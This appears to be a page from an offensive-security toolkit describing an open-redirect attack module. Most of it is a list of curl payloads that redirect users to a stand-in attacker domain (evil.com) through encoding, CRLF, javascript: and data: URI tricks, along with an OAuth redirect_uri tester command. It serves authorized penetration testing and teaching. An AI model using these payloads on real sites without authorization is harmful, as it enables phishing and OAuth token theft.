with one click
attack-open-redirect
Open redirect exploitation โ URL parameter manipulation, OAuth token theft, phishing chains
Menu
Open redirect exploitation โ URL parameter manipulation, OAuth token theft, phishing chains
Web cache poisoning โ unkeyed header/parameter injection to serve malicious content to all users
CORS misconfiguration testing โ origin reflection, wildcard bypass, null origin, credential leakage
GraphQL vulnerability testing โ introspection exposure, complexity DoS, batch abuse, mutation auth bypass
Host header injection โ password reset poisoning, cache poisoning, routing bypass, SSRF via Host
IDOR automated testing โ cross-account access, horizontal/vertical privilege escalation, mass data exposure
JWT token attacks โ alg:none bypass, key confusion, claim tampering, signature stripping
| name | attack-open-redirect |
| description | Open redirect exploitation โ URL parameter manipulation, OAuth token theft, phishing chains |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["open-redirect","web","phishing","oauth","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-601"] |
| chains_with | ["attack-cors","attack-jwt"] |
| prerequisites | [] |
| severity_boost | {"attack-jwt":"Open redirect + OAuth = JWT/token theft"} |
Exploit URL redirect parameters to redirect users to attacker-controlled domains, steal OAuth tokens, or bypass security controls.
Common parameter names:
url, redirect, redirect_url, redirect_uri, return, return_url, returnTo,
next, goto, target, dest, destination, rurl, redir, forward, continue,
callback, path, out, view, login_url, image_url, go, link, ref
# Direct redirect
curl -s -D- "https://TARGET/redirect?url=https://evil.com"
# Protocol-relative
curl -s -D- "https://TARGET/redirect?url=//evil.com"
# Encoded
curl -s -D- "https://TARGET/redirect?url=https%3A%2F%2Fevil.com"
# Backslash bypass
curl -s -D- "https://TARGET/redirect?url=https://evil.com\@TARGET"
# At-sign bypass
curl -s -D- "https://TARGET/redirect?url=https://TARGET@evil.com"
# Subdomain matching
curl -s -D- "https://TARGET/redirect?url=https://TARGET.evil.com"
# URL encoding tricks
curl -s -D- "https://TARGET/redirect?url=https://evil.com%23.TARGET"
# Double encoding
curl -s -D- "https://TARGET/redirect?url=https://%65%76%69%6c.com"
# Null byte
curl -s -D- "https://TARGET/redirect?url=https://evil.com%00.TARGET"
# CRLF + Location header
curl -s -D- "https://TARGET/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript scheme
curl -s -D- "https://TARGET/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -s -D- "https://TARGET/redirect?url=data:text/html,<script>alert(1)</script>"
# Test with OAuth tester
attack_script oauth_tester "https://TARGET/oauth/authorize" \
--client-id CLIENT_ID \
--redirect-uri "https://TARGET/callback" \
--json-output
If redirect_uri accepts attacker domain, the OAuth code/token is sent to the attacker.
| Finding | Severity |
|---|---|
| Open redirect + OAuth token theft | Critical (P1) |
| Open redirect in login/auth flow | High (P2) |
| Generic open redirect | Medium (P3) |
| JavaScript scheme redirect (XSS) | High (P2) |
attack_script oauth_tester โ OAuth redirect_uri bypass testingcurl โ manual redirect testing